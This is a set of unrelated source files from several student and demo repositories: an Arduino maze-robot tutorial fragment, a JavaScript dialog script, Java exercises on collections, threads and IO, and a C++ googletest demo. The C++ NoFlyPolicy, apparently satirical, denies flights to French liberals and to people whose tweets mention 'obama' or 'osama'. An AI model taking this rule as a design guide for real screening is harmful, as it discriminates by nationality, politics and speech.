button.waitForButton(); // built-in function that will pause the code until you press the button
// during this time you reset the robot to the start position.
run_solved_maze(); // run through the maze again, but this time you know what turns to take each time!
}
```
## Running the solved maze
Running the solved maze can use nearly the same code as you used for the learning phase, except that you'll want to change the left-hand-on-the-wall strategy for picking turns to a follow-the-known-path strategy.
Following the known path does allow for some optimization if you want to do it. For example, the robot doesn't need to drive throuh each intersection to figure out what kind of intersection it is. You already know what turn to take so you can program the robot to take the action as soon as it detects the turn. One thing to remember is that if you do this you may have to change your turn behaviors because you are initiating the action from a different position relative to the lines on the floor.
## Solved!
[](https://youtu.be/FfUvKNzYfrI)
<file_sep>#include <ZumoShield.h>
ZumoMotors motors;
void setup() {
// put your setup code here, to run once:
}
void loop() {
// put your main code here, to run repeatedly:
motors.setSpeeds(300,300);
delay(4000);
motors.setSpeeds(0,0);
while(true){
// do nothing
}
}
| 01ae1f90042d2e8748983c1b91766b97ceb1ffeb | [
"Markdown",
"C++"
] | 13 | C++ | jodeleeuw/robot_competition_2020 | e2f7f2807a8261fdae4cff16f9c93feb61cd0ae7 | 91d50ef47e7a607ed00b10f197f8bb601553ffa4 |
refs/heads/master | <repo_name>Cheshikhina/866469-code-and-magick-17<file_sep>/js/util.js
'use strict';
window.util = (function () {
var userDialog = document.querySelector('.setup');
var form = userDialog.querySelector('.setup-wizard-form');
var userWizardCoatValue = document.querySelector('input[name="coat-color"]');
var userWizardEyesValue = document.querySelector('input[name="eyes-color"]');
var userWizardFireballValue = document.querySelector('input[name="fireball-color"]');
var KeyCode = {
ESC: 27,
ENTER: 13,
};
var WizardParams = {
NAMES: ['Иван', '<NAME>', 'Мария', 'Кристоф', 'Виктор', 'Юлия', 'Люпита', 'Вашингтон'],
SURNAMES: ['<NAME>', 'Верон', 'Мирабелла', 'Вальц', 'Онопко', 'Топольницкая', 'Нионго', 'Ирвинг'],
COAT_COLOR: ['rgb(101, 137, 164)', 'rgb(241, 43, 107)', 'rgb(146, 100, 161)', 'rgb(56, 159, 117)', 'rgb(215, 210, 55)', 'rgb(0, 0, 0)'],
EYES_COLOR: ['black', 'red', 'blue', 'yellow', 'green'],
FIREBALL_COLOR: ['#ee4830', '#30a8ee', '#5ce6c0', '#e848d5', '#e6e848'],
};
var isEscEvent = function (evt, action) {
if (evt.keyCode === KeyCode.ESC) {
action();
}
};
var isEnterEvent = function (evt, action) {
if (evt.keyCode === KeyCode.ENTER) {
action();
}
};
var removeCloseEsc = function () {
document.removeEventListener('keydown', setupCloseEscHandler);
};
var setupCloseEscHandler = function (evt) {
isEscEvent(evt, closeSetup);
};
var closeSetup = function () {
userWizardCoatValue.value = 'rgb(101, 137, 164)';
userWizardEyesValue.value = '';
userWizardFireballValue.value = '';
form.reset();
userDialog.classList.add('hidden');
removeCloseEsc();
};
var getRandomInt = function (min, max) {
return Math.floor(Math.random() * (max - min)) + min;
};
return {
WizardParams: WizardParams,
getRandomInt: getRandomInt,
isEnterEvent: isEnterEvent,
setupCloseEscHandler: setupCloseEscHandler,
closeSetup: closeSetup,
removeCloseEsc: removeCloseEsc,
};
})();
<file_sep>/js/dialog.js
'use strict';
(function () {
var userDialog = document.querySelector('.setup');
var userWizard = userDialog.querySelector('.setup-wizard');
var setupOpen = document.querySelector('.setup-open');
var setupClose = userDialog.querySelector('.setup-close');
var userName = userDialog.querySelector('.setup-user-name');
var userWizardCoat = userWizard.querySelector('.wizard-coat');
var userWizardEyes = userWizard.querySelector('.wizard-eyes');
var userWizardFireball = document.querySelector('.setup-fireball-wrap');
var userWizardCoatValue = document.querySelector('input[name="coat-color"]');
var userWizardEyesValue = document.querySelector('input[name="eyes-color"]');
var userWizardFireballValue = document.querySelector('input[name="fireball-color"]');
var dialogHandler = userDialog.querySelector('.upload');
var shopElement = document.querySelector('.setup-artifacts-shop');
var artifactsElement = document.querySelector('.setup-artifacts');
// var form = userDialog.querySelector('.setup-wizard-form');
var draggedItem = null;
// var setupCloseEscHandler = function (evt) {
// window.util.isEscEvent(evt, closeSetup);
// };
var addCloseEsc = function () {
document.addEventListener('keydown', window.util.setupCloseEscHandler);
};
var openSetup = function () {
userDialog.classList.remove('hidden');
addCloseEsc();
userWizardCoat.style.fill = userWizardCoatValue.value;
userWizardEyes.style.fill = userWizardEyesValue.value;
userWizardFireball.style.backgroundColor = userWizardFireballValue.value;
userDialog.style.top = '';
userDialog.style.left = '';
};
// var closeSetup = function () {
// userWizardCoatValue.value = 'rgb(101, 137, 164)';
// userWizardEyesValue.value = '';
// userWizardFireballValue.value = '';
// form.reset();
// userDialog.classList.add('hidden');
// removeCloseEsc();
// };
setupOpen.addEventListener('click', function () {
openSetup();
});
setupOpen.addEventListener('keydown', function (evt) {
window.util.isEnterEvent(evt, openSetup);
});
setupClose.addEventListener('click', function () {
window.util.closeSetup();
});
setupClose.addEventListener('keydown', function (evt) {
window.util.isEnterEvent(evt, window.util.closeSetup);
});
userName.addEventListener('focus', function () {
window.util.removeCloseEsc();
});
userName.addEventListener('blur', function () {
addCloseEsc();
});
userWizardCoat.addEventListener('click', function () {
var randomColorCoat = window.util.WizardParams.COAT_COLOR[window.util.getRandomInt(0, window.util.WizardParams.COAT_COLOR.length)];
userWizardCoat.style.fill = randomColorCoat;
userWizardCoatValue.setAttribute('value', randomColorCoat);
});
userWizardEyes.addEventListener('click', function () {
var randomColorEyes = window.util.WizardParams.EYES_COLOR[window.util.getRandomInt(0, window.util.WizardParams.EYES_COLOR.length)];
userWizardEyes.style.fill = randomColorEyes;
userWizardEyesValue.setAttribute('value', randomColorEyes);
});
userWizardFireball.addEventListener('click', function () {
var randomColorFireball = window.util.WizardParams.FIREBALL_COLOR[window.util.getRandomInt(0, window.util.WizardParams.FIREBALL_COLOR.length)];
userWizardFireball.style.backgroundColor = randomColorFireball;
userWizardFireballValue.setAttribute('value', randomColorFireball);
});
dialogHandler.addEventListener('mousedown', function (evt) {
evt.preventDefault();
var startCoords = {
x: evt.clientX,
y: evt.clientY
};
var dragged = false;
var onMouseMove = function (moveEvt) {
moveEvt.preventDefault();
dragged = true;
var shift = {
x: startCoords.x - moveEvt.clientX,
y: startCoords.y - moveEvt.clientY
};
startCoords = {
x: moveEvt.clientX,
y: moveEvt.clientY
};
userDialog.style.top = (userDialog.offsetTop - shift.y) + 'px';
userDialog.style.left = (userDialog.offsetLeft - shift.x) + 'px';
};
var onMouseUp = function (upEvt) {
upEvt.preventDefault();
document.removeEventListener('mousemove', onMouseMove);
document.removeEventListener('mouseup', onMouseUp);
if (dragged) {
var onClickPreventDefault = function (onClicEvt) {
onClicEvt.preventDefault();
dialogHandler.removeEventListener('click', onClickPreventDefault);
};
dialogHandler.addEventListener('click', onClickPreventDefault);
}
};
document.addEventListener('mousemove', onMouseMove);
document.addEventListener('mouseup', onMouseUp);
});
shopElement.addEventListener('dragstart', function (evt) {
if (evt.target.tagName.toLowerCase() === 'img') {
draggedItem = evt.target;
evt.dataTransfer.setData('text/plain', evt.target.alt);
}
});
artifactsElement.addEventListener('dragover', function (evt) {
evt.preventDefault();
return false;
});
artifactsElement.addEventListener('drop', function (evt) {
evt.target.style.backgroundColor = '';
evt.target.appendChild(draggedItem);
});
artifactsElement.addEventListener('dragenter', function (evt) {
evt.target.style.backgroundColor = 'yellow';
evt.preventDefault();
});
artifactsElement.addEventListener('dragleave', function (evt) {
evt.target.style.backgroundColor = '';
evt.preventDefault();
});
})();
| 54e3c2c3185eacdaa7f31a04b308a81acb83e1c1 | [
"JavaScript"
] | 2 | JavaScript | Cheshikhina/866469-code-and-magick-17 | d2bc92119d98ddb471933a215b42b0775e4298be | 183313ac6f849348fc8343d311bb911c7eacdc1a |
refs/heads/master | <file_sep>
public class Test {
public static void main(String[] args){
Shape san = new Triangle();
san.setColor("red");
Triangle si = (Triangle)san;
si.setSides(3,4,5);
System.out.println(san.getType()+"周长"+san.calPerimeter());
/* Shape s11 = new Triangle();
Shape s22 = new Circle();
s11.setColor("黄");
s11.setSiders(6.0,7.0,8.0);
s22.setColor("绿");
s22.setR(10);
System.out.println(s11.getType());
System.out.println("周长是:"+s11.calPerimeter());
System.out.println(s22.getType());
System.out.println("周长是:"+s11.calPerimeter()); */
}
}<file_sep>package priority;
public class JoinDemo extends Thread{
@Override
public void run() {
for (int i = 0; i < 100; i++) {
System.out.println(getName()+i);
}
}
public static void main(String[] args) throws InterruptedException {
System.out.println(Thread.currentThread().getName()+"开启");
for (int i = 0; i < 100; i++) {
System.out.println("main:"+i);
if (i==38) {
JoinDemo jd = new JoinDemo();
jd.start();
//在main线程调用了jd的join方法,main线程等待jd线程的结束,才继续执行
//假如当前线程,调用了另一个线程的join方法,该进程会等待。
jd.join();
}
}
System.out.println(Thread.currentThread().getName()+"结束");
}
}
<file_sep>
class More<K,V>{
K name;
V age;
public More(K name, V age){
this.name=name;
this.age=age;
}
public K show(){
return name;
}
}
public class Test<T>{
public Test(T A){
System.out.println(A);
}
public static void main(String[] args) {
Test test = new Test("hello");
More<String, Integer> more = new More<String,Integer>("LiLei",20);
}
}
<file_sep>import java.util.*;
public class LotteryDrawing{
public static void main(String[] args){
Scanner in = new Scanner(System.in);
System.out.println("How many number do you need to draw?");
int k = in.nextInt();
System.out.println("What is the highest number you can draw?");
int n = in.nextInt();
int[] number = new int[n];
for(int i=0;i<number.length;i++)
number[i]=i+1;
int[] result = new int[k];
for(int i=0;i<result.length;i++){
int r=(int)(Math.random()*n);
result[i]=number[r];
number[r]=number[n-1];
n--;
}
Arrays.sort(result);
System.out.println("Bet the following combination.It'll make you rich!");
for(int r:result)
System.out.println(r);
}
}<file_sep>public class BreakTest{
public static void main(String args[]){
int stop=4;
for(int i=1;i<=10;i++){
//当i等于stop时,退出循环
if(i == stop){
//System.out.println("满足条件:退出整个循环");
//break;
System.out.println("满足条件:退出本次循环");
continue;
}
System.out.println("i="+i);
}
}
}<file_sep>package hellogem;
import java.util.Scanner;
public class Hellogem {
public static void main(String[] args) {
System.out.println("请输入课程代号(1至3之间的数字)");
Scanner in=new Scanner(System.in);
int courseCode = in.nextInt();
switch (courseCode) {
case 1:
System.out.println("C#编程");
break;
case 2:
System.out.println("Java编程");
break;
case 3:
System.out.println("SQL编程");
break;
}
}
}
<file_sep>/*
* 进程:是操作系统对应用程序资源分配、进程调度的最小单位,【正在运行的程序】
* 线程:是系统中执行任务的最小单位【负责程序执行的最小单位,进程的多个执行流】
* 线程有自己特有的任务
*
* 并行执行/同时
* 多任务:
* 多进程:
* 多线程:
* 操作系统给进程、线程分配非常小的时间片、由OS去调度、随机切换===宏观上看其同时执行
*
* JVM虚拟机的多线程:
* 1、main线程
* 2、垃圾回收线程:
* Java: object 对象+回收
*
*
* */
class A{
//涉及到系统的资源的时候,需要来复写一下该方法:
@Override
protected void finalize() throws Throwable {
System.out.println("手动回收垃圾");
System.out.println(Thread.currentThread().getId()+"\t"+Thread.currentThread().getName());
super.finalize();
}
}
public class ThreadDemo {
public static void main(String[] args) {
System.out.println(Thread.currentThread().getId()+"\t"+Thread.currentThread().getName());
A a = new A();
new A();
new A();
System.gc();
new A();
//System.gc();
new A();
System.out.println("main函数");
}
}
<file_sep>//熟悉if条件语句的使用
public class IfTest{
public static void main(String args[]){
//第一种格式
if(1<100){
System.out.println("第一种格式");
}
//第二种格式
//声明+初始化+使用
boolean flag=true;
if(flag){
System.out.println("创建boolean变量默认值 真");
}else{
System.out.println("创建boolean变量默认值 假");
}
//第三种格式
int score=56;
if (score<60){
System.out.println("不及格");
}else if(60<score&&score<80){
System.out.println("良");
}else{
System.out.println("优");
}
}
}<file_sep>import java.util.Scanner;
public class SwitchTest{
public static void main(String args[]){
System.out.println("输入喜欢的汽车");
Scanner in =new Scanner(System.in);
String car = in.next(); //读取的单词,其他的读取方法还有:nextInt() next Line();
switch(car){
case"Benz":
System.out.println("Benz");
break;
case"Tesla":
System.out.println("Tesla");
break;
case"Ford":
System.out.println("Ford");
break;
default:
System.out.println("others car");
break;
}
in.close();
}
}<file_sep>class Outer{
int a = 123;
private String str = "geminno";
void run(){
String local_var="局部变量";
final int num = 1111;
//局部内部类
//public class Inner{ //error 不能用访问修饰符去修饰
//static class Inner{ //error
class Inner{
String str = "inner class";
int aaa=888;
//static String var = "static var"; //error 不能定义静态变量
static final String s="java";
void inner_run(){
//System.out.println("内部类:成员方法"+local_var); //不能访问局部变量local_var
System.out.println("内部类:成员方法"+num); //可以访问常量
System.out.println(a+"\t"+str); //==this.str
System.out.println(Outer.this.str); //外部类 成员变量
}
}
Inner in = new Inner();
in.inner_run();
}
}
public class LocalInner{
public static void main(String[] args){
Outer out = new Outer();
out.run();
}
}<file_sep>import java.util.*;
import java.io.*;
public class ScannerFileTest{
public static void main(String[] args) throws Exception{
Scanner sc=new Scanner(new File("ScannerFileTest.java"));
System.out.println("ScannerFileTest.java文件内容如下:");
while(sc.hasNextLine()){
System.out.println(sc.nextLine());
}
}
}
<file_sep>package process_stream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.PrintStream;
/*
* 处理流:隐藏了底层物理设备上节点流的差异、并提供更加方便的输入输出方法
* 步骤:
* 1、提供一个节点流
* 2、封装成处理流
* 3、直接使用处理流的IO操作:间接的操作底层的设备文件
* 4、关闭资源
*
* 使用PrintStream包装OutputStream:字节流=节点流
* */
public class PrintStreamTest {
/**
* @param args
*/
public static void main(String[] args) throws IOException{
FileOutputStream fos=null;
PrintStream ps = null;
try {
//1、创建节点流
fos = new FileOutputStream("process_stream.txt");
//2、封装成处理流
ps = new PrintStream(fos);
//3、IO
ps.println("处理流");
ps.println(new PrintStreamTest());
} catch (FileNotFoundException e) {
e.printStackTrace();
}finally{
fos.close();
ps.close();
}
}
}
<file_sep>package c_Set;
import java.util.HashSet;
class A{
public int hashCode(){
return 1;
}
}
class B{
public int hashCode(){
return 1;
}
}
class C{
public int hashCode(){
return 2;
}
public boolean equals(Object obj){
return true;
}
}
public class HashSetTest{
public static void name(String[] args) {
HashSet hs= new HashSet();
/*
* 复写equals方法,返回true的情况下,由于hashcode不一样
* 因此:hashSet依然当做两个对象
*/
System.out.println(hs.add(new A()));
System.out.println(""+hs.add(new A())+hs.size());
/*
* 两个对象的hashcode相同,但是,equals方法返回false:
* 因此:hashset添加两个不同的元素
*
*/
System.out.println(hs.add(new B()));
System.out.println(""+hs.add(new B())+hs.size());
/*
* 当equals返回true、hashcode返回相同的值:
* hashset集合认为是同一个元素
*
*/
System.out.println(hs.add(new C()));
System.out.println(""+hs.add(new C())+hs.size());
}
}
<file_sep>package a_Collection;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
public class CollectionDemo {
public static void main(String[] args) {
Collection coll = new ArrayList(); //默认向上转型
Collection co= new ArrayList();
//String-----Person
//1、添加操作
coll.add("Google");
coll.add("Apple");
coll.add("Oracle");
coll.add("Xiaomi");
co.add("Baidu");
co.add("Alibaba");
co.add("Tencent");
co.add("Xiaomi");
System.out.println("国内"+co);
System.out.println("国外"+coll);
co.addAll(coll);
System.out.println("国内"+co);
System.out.println("国外"+coll);
//2、删除
// System.out.println(coll.remove("Xiaomi"));
// System.out.println(coll.remove("Apple"));
// System.out.println("国外"+coll);
//删除交集====coll与co共有的元素
//coll.removeAll(co);
//coll.clear();
//System.out.println("国外"+coll);
//取交集
// coll.retainAll(co);
// System.out.println("国外"+coll);
//3、判断操作
// System.out.println("coll.isEmpty="+coll.isEmpty());
// System.out.println("co.isEmpty="+co.isEmpty());
// System.out.println("co.contains=Google=?"+co.contains("Google"));
//子集判断
System.out.println(coll.containsAll(co));
coll.add("Geminno");
System.out.println(""+co.containsAll(coll)+"\t"+co.size());
//遍历操作
//Iterator(迭代器):查找元素,不能排序
Iterator it = co.iterator();
while (it.hasNext()) {
String str = (String) it.next();
//co.add("geminno");
//co.remove("Baidu");
System.out.println(str);
}
System.out.println("==========================");
for (Iterator it1 = coll.iterator(); it1.hasNext();) {
String str = (String) it1.next();
System.out.println(str);
}
System.out.println("==========================");
//foreach最简单
for (Object object : coll) {
String str = (String)object;
//coll.add("tes");
//coll.remove("Xiaomi");
System.out.println("coll:"+str);
}
// System.out.println(""+it.next()+co.size());
// it.remove();
// System.out.println(""+co+co.size());
}
}
<file_sep>class Father<T>{}
public class Limited {
//? super Number---->Number类或其父类
public static void test(Father<? super Number> father){
System.out.println("this is test");
}
//? extends Number---->Number类或其子类
public static void show(Father<? extends Number> father){
System.out.println("this is show");
}
public static void main(String[] args) {
Father<Integer> f1 = new Father<>(); //number 子类
Father<Object> f2 = new Father<>();
//test(f1); 报错,实参只能是Number类或其父类
test(f2);
show(f1);
//show(f2); 报错,实参只能是Number类或其子类
}
}
<file_sep>import java.util.Comparator;
public class ComByAge implements Comparator<Person> {
@Override
public int compare(Person o1, Person o2) {
int res = o1.getAge() - o2.getAge();
return res==0 ? o1.getName().compareTo(o2.getName()):res;
}
}
<file_sep>//抽象类【只能被继承】---->子类:实现所有抽象方法----> 对象
//不完整类 完整类
public abstract class Shape{
//抽象类的6组成:
{
System.out.println("执行Shape的初始化块....");
}
private String color;
//周长 抽象方法:没有{}
public abstract double calPerimeter();
//形状 抽象方法:
public abstract String getType();
//定义Shape的构造器,该构造器并不是用于创建Shape对象,而是用于被子类调用
public Shape(){}
public Shape(String color){
System.out.println("执行Shape的构造器....");
this.color=color;
}
public void setColor(String color){
this.color = color;
}
public String getColor(){
return this.color;
}
}<file_sep>//Dog 抽象的狗
//Dog 某种品种的狗
public class Dog{
//属性
//品种
static String type;//类变量==类属性==静态成员变量(用static修饰):不依赖于对象【类名.类变量】
int age; //实例变量(没有用static修饰):依赖于对象【对象引用.实例变量】
String color;
//静态代码块
static{ //使命:初始化 类变量
//this.type="xxxxxx"; //error:无法从静态上下文中引用【非静态变量this】
type="xxxxxx";
System.out.println("我是在static代码块中");
/* age=321; //!实例变量
color="yyy";*/
}
//方法
Dog(){}
Dog(int age,String color){
this.type="哈士奇";
this.age=age;
this.color=color;
}
//实例方法:tjis代表调用的引用
void bark(){
this.type="泰迪";
System.out.println("barking........");
}
//类方法:不能访问【实例变量】==不依赖对象,==this
//abstract(抽象) //不能与static(具体)同时存在
static void bark1(){ //没有对象,所以不能访问实例对象、实例变量
//只能访问类变量、局部变量
type="京巴";
System.out.println("类方法");
//this.age=11; //error 不能在static中访问不是static的对象
//this.color="green";
}
}<file_sep>public class Student{
String name;
public Student(String name){
this.name =name;
}
//³ΙΤ±·½·¨
Student get(){
return this;
}
public static void main(String[] args){
Student s1=new Student("geminno");
Student s2=new Student("gemptc");
System.out.println(s1);
System.out.println(s1.get().name);
System.out.println(s2);
System.out.println(s2.get().name);
}
}<file_sep>package node_stream;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
/*
* 节点流:与底层设备文件关联、低级流
* 处理流:基于节点流、高级流
* */
public class StringNode {
/**
* @param args
*/
public static void main(String[] args) {
//使用内存中的字符串作为数据源
String src = "aaaaaaaaaaaaaaaaaaaaaa"+
"bbbbbbbbbbbbbbbbbbbbbb"+
"cccccccccccccccccccccc"+
"dddddddddddddddddddddd";
char[] buffer =new char[32];
int hasRead = 0;
StringReader sr =new StringReader(src);
try {
while ((hasRead=sr.read(buffer)) > 0) {
System.out.println(new String(buffer,0,hasRead));
}
} catch (IOException e) {
e.printStackTrace();
}
StringWriter sw = new StringWriter();
sw.write("eeeeeeeeeeeeeeeeeeeeee");
sw.write("ffffffffffffffffffffff");
sw.write("ggggggggggggggggggggggg");
sw.write("zzzzzzzzzzzzzzzzzzzzzzz");
System.out.println(sw.toString());
}
}
<file_sep>public class Account{
private String user="geminno";
private String password="<PASSWORD>";
public void setPwd(String str){
this.password = str;
}
public void info(){
System.out.println("user:"+this.user+"\n password:"+this.password);
}
}
<file_sep>package d_Map;
import java.util.HashMap;
import java.util.Iterator;
import bean.Person;
public class HashMapDemo {
public static void main(String[] args) {
//Person和City
HashMap<Person, String> hm = new HashMap<>();
//HashSet 元素是否相同的依据:hashCode equals
//HashMap 元素是否相同的依据:键是否相同
hm.put(new Person(100, "IBM"), "USA");
hm.put(new Person(15, "alibaba"), "HangZhou");
hm.put(new Person(123, "google"), "Sfancisose");
hm.put(new Person(12, "baidu"), "BeiJing");
hm.put(new Person(12, "baidu"), "SuZhou"); //
//遍历
Iterator<Person> it = hm.keySet().iterator();
while (it.hasNext()) {
Person person = (Person) it.next();
System.out.println("Age:"+person.getAge()+"\tName:"+person.getName()
+"\tCity:"+hm.get(person));
}
}
}
<file_sep>
public class One implements Runnable{
static int ticket = 10; //共有十张票出售
static int num = 0; //当前卖出的票数
public void run(){
for (int i = 0; i <= 10; i++) {
if (ticket > 0) {
ticket--;
num++;
System.out.println(Thread.currentThread().getName() + "卖出了第"+num +"张车票,还剩"+ticket+"张车票");
}
}
}
public static void main(String[] args) {
One t = new One();
Thread O1 =new Thread(t);
Thread O2 =new Thread(t);
Thread O3 =new Thread(t);
O1.setName("第一个售票窗口");
O2.setName("第二个售票窗口");
O3.setName("第三个售票窗口");
O1.start();
O2.start();
O3.start();
}
}
<file_sep>import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
/*
* collections:是集合框架的工具类,方法都是静态方法=类方法
* Tree set\map:有自然排序、集合比较器,在插入时可以完成排序
* List:默认不能排序
* */
public class CollectionsDemo {
public static void main(String[] args) {
run1();
//run2();
}
//String测试
public static void run1(){
List<String> list = new ArrayList<>();
list.add("java");
list.add("oracle");
list.add("baidu");
list.add("abcd");
list.add("google");
list.add("facebook");
list.add("b");
list.add("bc");
for (String string : list) {
System.out.println(string);
}
System.out.println("--------------------------");
//使用元素的自然顺序排序
Collections.sort(list);
for (String string : list) {
System.out.println(string);
}
System.out.println("--------------------------");
//使用比较器的排序:当长度相同时,按加入的先后顺序排序
Collections.sort(list,new ComByLength());
for (String string : list) {
System.out.println(string);
}
System.out.println("--------------------------");
//长度逆序
Comparator<String> comparator= Collections.reverseOrder(new ComByLength());
Collections.sort(list, comparator);
for (String string : list) {
System.out.println(string);
}
System.out.println("--------------------------");
//头尾元素互换
Collections.swap(list, 0, list.size()-1);
for (String string : list) {
System.out.println(string);
}
System.out.println("--------------------------");
//元素全都变成"google"
Collections.replaceAll(list, "baidu", "google");
// Collections.fill(list, "google");
for (String string : list) {
System.out.println(string);
}
System.out.println("--------------------------");
//默认反转
// Collections.reverse(list);
// for (String string : list) {
// System.out.println(string);
// }
// System.out.println("--------------------------");
//实现对自然排序的逆序
// Comparator<String> com = Collections.reverseOrder();
// Collections.sort(list, com);
// for (String string : list) {
// System.out.println(string);
// }
// System.out.println("--------------------------");
// String max = Collections.max(list);
// String min = Collections.min(list);
// System.out.println("自然排序:max:"+max+"\tmin:"+min);
// String max1 = Collections.max(list, new ComByLength());
// String min1 = Collections.min(list, new ComByLength());
// System.out.println("使用比较器:max:"+max1+"\tmin:"+min1);
}
//person测试
public static void run2(){
List<Person> list2 = new ArrayList<>();
list2.add(new Person(12,"android"));
list2.add(new Person(1,"java"));
list2.add(new Person(23,"baidu"));
list2.add(new Person(100,"IBM"));
list2.add(new Person(88,"IBM"));
list2.add(new Person(99,"IBM"));
for (Person person : list2) {
System.out.println(person);
}
System.out.println("--------------------------");
//自然排序
Collections.sort(list2);
for (Person person : list2) {
System.out.println(person);
}
//比较器排序
Collections.sort(list2, new ComByAge());
for (Person person : list2) {
System.out.println(person);
}
Person max = Collections.max(list2, new ComByAge());
Person min = Collections.min(list2, new ComByAge());
System.out.println("max:"+max+"min:"+min);
}
}
<file_sep>public class Test{
public static void main(String[] args){
Manager man1 = new Manager(111,"Google");
man1.info();
//man.Employee(); //error
/* Manager man = new Manager();
man.ID=111;
man.name="geminno";
man.salary=8888.8;
man.car="Tesla";
man.info();
man.drive(); */
}
}<file_sep>public class Sub extends Base{
String str="sub class"; //子类特有属性
void sub_show(){
System.out.println("sub类特有的方法");
}
void show(){
System.out.println("子类复写了父类的方法sub class");
}
public static void main(String[] args){
//向上转型:默认基类引用 指向 子类对象
//不能访问子类新增的属性,可以访问基类特有属性、被子类覆盖方法
Base base=new Sub();
//一个基类的引用不可以访问其子类对象
/* System.out.println(base.str);
base.sub_show; */
System.out.println(base.a);
base.base_show();
//System.out.println(base.a);
base.show();
/* //向下转型:子类的引用 指向 父类的对象
Sub sub = (Sub)new Base();
//访问父类的属性
System.out.println(sub.a);
sub.base_show();
//子类复写父类的方法
sub.show();
//访问子类的属性 */
}
}<file_sep>public class Constants{
public static void main (String args[]){
//final double CM_PER_INCH = 2.54;
double paperWidth=8.5;
double paperHeight=11;
System.out.println("Paper size in centimeters:"+paperWidth*CM_PER_INCH
+"by"+paperHeight*CM_PER_INCH);
}
public static final double CM_PER_INCH=2.54;
}<file_sep>JAVA_HOME: D:\Program Files\Java\jdk1.7.0_72
PATH: ;%JAVA_HOME%\bin
CLASSPATH: .;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar <file_sep>import java.util.*;
public class BTest{
public static void main(String args[]){
Scanner in = new Scanner(System.in);
System.out.println("yourSales:");
double yourSales=in.nextDouble();
System.out.println("target:");
double target=in.nextDouble();
//int yourSales=12;
//int target=5;
String performance = "";
double bonus;
if(yourSales>=target){
performance = "Staisfactory";
bonus=100+0.01*(yourSales-target);
}else{
performance = "Unsatisfactory";
bonus = 0;
}
System.out.println("performance="+performance+"\n"+"bonus=" + bonus);
}
}<file_sep>//测试Person类
public class PersonTest{
public static void main(String[] args){
//实例化:引用=变量=实例
// 在定义类的时候【没有】自定义无参构造函数,编译系统自动指定构造器
// 在定义类的时候【 有】自定义无参构造函数,使用自定义的构造器
Person geminno = new Person();
Person gem = new Person("高博");
Person gemptc = new Person("高博集团",12);
//对象使用:引用.成员变量 引用.成员方法
// System.out.println("Name:"+geminno.name+"Age:"+geminno.age);
geminno.info();
gem.info();
gemptc.info();
}//end main
}//end class | d4e56dcf455ff6195b41c68513d263be2d24dd08 | [
"Java",
"Text"
] | 30 | Java | qihaiyan92/JA12141201 | 5375dc8171015e1570164446dc170b0a046e1e51 | fa91d78895aabafad2f3e53f63c9fbecbbf655f4 |
refs/heads/master | <repo_name>virajhk/googletest-demo<file_sep>/NoFlyList/Person.h
#pragma once
#include "Twitter.h"
#include <memory>
class Person
{
public:
enum nationality_t { FRENCH, AMERICAN };
enum political_view_t { CONSERVATIVE, LIBERAL };
Person(nationality_t nationality, political_view_t political_view) :
terrorist(false), nationality(nationality), political_view(political_view) {}
void markAsTerrorist()
{
terrorist = true;
}
bool isTerrorist() const
{
return terrorist;
}
nationality_t getNationality() const
{
return nationality;
}
political_view_t getPoliticalView() const
{
return political_view;
}
void connectTwitterAccount(std::shared_ptr<Twitter> twitter_) { twitter = twitter_; }
Tweets getTweets() const
{
if (twitter)
{
return twitter->getTweets();
}
else
{
return Tweets();
}
}
private:
bool terrorist;
nationality_t nationality;
political_view_t political_view;
std::shared_ptr<Twitter> twitter;
};<file_sep>/NoFlyList/NoFlyPolicy.cpp
#include "NoFlyPolicy.h"
#include <string>
#include <vector>
using std::string;
using std::vector;
bool NoFlyPolicy::canFly(const Person& person)
{
if (person.isTerrorist())
return false;
if (person.getNationality() == Person::FRENCH && person.getPoliticalView() == Person::LIBERAL)
return false;
vector<string> forbidden;
forbidden.push_back("bomb");
forbidden.push_back("osama");
forbidden.push_back("obama");
auto twitter = person.getTweets();
for(auto tweet = twitter.begin(); tweet != twitter.end(); ++tweet)
for(auto f = forbidden.begin(); f != forbidden.end(); ++f)
if (tweet->find(*f) != string::npos)
return false;
return true;
}<file_sep>/NoFlyList/Destination.cpp
#include "Destination.h"
std::ostream& operator<<(std::ostream& os, const Destination& d)
{
os << d.name << " (" << d.nofHumanRights << ")";
return os;
}
<file_sep>/NoFlyList/Destination.h
#pragma once
#include <string>
#include <ostream>
struct Destination
{
Destination(std::string name, unsigned int nofHumanRights) : name(name), nofHumanRights(nofHumanRights) {}
const std::string name;
const unsigned int nofHumanRights;
bool operator==(const Destination& rhs) const { return name == rhs.name; }
};
std::ostream& operator<<(std::ostream& os, const Destination& d);<file_sep>/NoFlyListTest/NoFlyPolicyTest.cpp
#include "..\NoFlyList\NoFlyPolicy.h"
#include "..\NoFlyList\Person.h"
#include <gtest\gtest.h>
#include <memory>
#include <string>
using std::make_shared;
using std::string;
class NoFlyPolicyTest : public ::testing::Test
{
public:
NoFlyPolicyTest() : person(Person::AMERICAN, Person::CONSERVATIVE) {};
protected:
NoFlyPolicy policy;
Person person;
};
TEST_F(NoFlyPolicyTest, niceGuysCanFly)
{
ASSERT_TRUE(policy.canFly(person));
}
TEST_F(NoFlyPolicyTest, terroristsCannotFly)
{
person.markAsTerrorist();
ASSERT_FALSE(policy.canFly(person));
}
TEST_F(NoFlyPolicyTest, frenchLiberalsCannotFly)
{
Person frenchLiberal(Person::FRENCH, Person::LIBERAL);
ASSERT_FALSE(policy.canFly(frenchLiberal));
}
TEST_F(NoFlyPolicyTest, personWhoDidntTweetCanFly)
{
auto twitter = make_shared<Twitter>();
person.connectTwitterAccount(twitter);
ASSERT_TRUE(policy.canFly(person));
}
TEST_F(NoFlyPolicyTest, personWhoTweetedSometingInnocentCanFly)
{
auto twitter = make_shared<Twitter>();
twitter->tweet("OMG SUPERBOWL IS NICE GOD BLESS BUD!!!!11");
person.connectTwitterAccount(twitter);
ASSERT_TRUE(policy.canFly(person));
}
class NoFlyPolicyTestWithTweets : public NoFlyPolicyTest, public ::testing::WithParamInterface<string> {};
TEST_P(NoFlyPolicyTestWithTweets, personWhoTweetedSometingBadCannotFly)
{
auto twitter = make_shared<Twitter>();
twitter->tweet(GetParam());
person.connectTwitterAccount(twitter);
ASSERT_FALSE(policy.canFly(person));
}
